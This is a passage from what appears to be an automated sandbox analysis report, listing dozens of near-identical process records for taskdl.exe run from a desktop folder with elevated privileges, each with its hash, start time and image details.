                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:139
                                                                                                      Start time:03:28:50
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:140
                                                                                                      Start time:03:28:50
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:141
                                                                                                      Start time:03:28:50
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:142
                                                                                                      Start time:03:28:50
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:143
                                                                                                      Start time:03:28:51
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:144
                                                                                                      Start time:03:28:51
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:145
                                                                                                      Start time:03:28:51
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:146
                                                                                                      Start time:03:28:51
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:147
                                                                                                      Start time:03:28:52
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:148
                                                                                                      Start time:03:28:52
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:149
                                                                                                      Start time:03:28:52
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:150
                                                                                                      Start time:03:28:52
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:151
                                                                                                      Start time:03:28:52
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:152
                                                                                                      Start time:03:28:53
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:153
                                                                                                      Start time:03:28:53
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:154
                                                                                                      Start time:03:28:53
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:155
                                                                                                      Start time:03:28:53
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:156
                                                                                                      Start time:03:28:54
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:157
                                                                                                      Start time:03:28:54
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:158
                                                                                                      Start time:03:28:54
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:159
                                                                                                      Start time:03:28:54
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:160
                                                                                                      Start time:03:28:54
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:161
                                                                                                      Start time:03:28:55
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:162
                                                                                                      Start time:03:28:55
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:163
                                                                                                      Start time:03:28:55
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:164
                                                                                                      Start time:03:28:55
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:165
                                                                                                      Start time:03:28:55
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:166
                                                                                                      Start time:03:28:56
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:167
                                                                                                      Start time:03:28:56
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:168
                                                                                                      Start time:03:28:56
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:169
                                                                                                      Start time:03:28:56
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:170
                                                                                                      Start time:03:28:57
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:171
                                                                                                      Start time:03:28:57
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:172
                                                                                                      Start time:03:28:57
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:173
                                                                                                      Start time:03:28:57
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:174
                                                                                                      Start time:03:28:57
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:175
                                                                                                      Start time:03:28:58
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:176
                                                                                                      Start time:03:28:58
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:177
                                                                                                      Start time:03:28:58
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:178
                                                                                                      Start time:03:28:58
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:179
                                                                                                      Start time:03:28:58
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:180
                                                                                                      Start time:03:28:59
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:181
                                                                                                      Start time:03:28:59
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:182
                                                                                                      Start time:03:28:59
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:183
                                                                                                      Start time:03:28:59
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:184
                                                                                                      Start time:03:29:00
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:185
                                                                                                      Start time:03:29:00
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:186
                                                                                                      Start time:03:29:00
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:187
                                                                                                      Start time:03:29:00
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:188
                                                                                                      Start time:03:29:00
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:189
                                                                                                      Start time:03:29:01
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:190
                                                                                                      Start time:03:29:01
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:191
                                                                                                      Start time:03:29:01
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:192
                                                                                                      Start time:03:29:01
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:193
                                                                                                      Start time:03:29:01
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
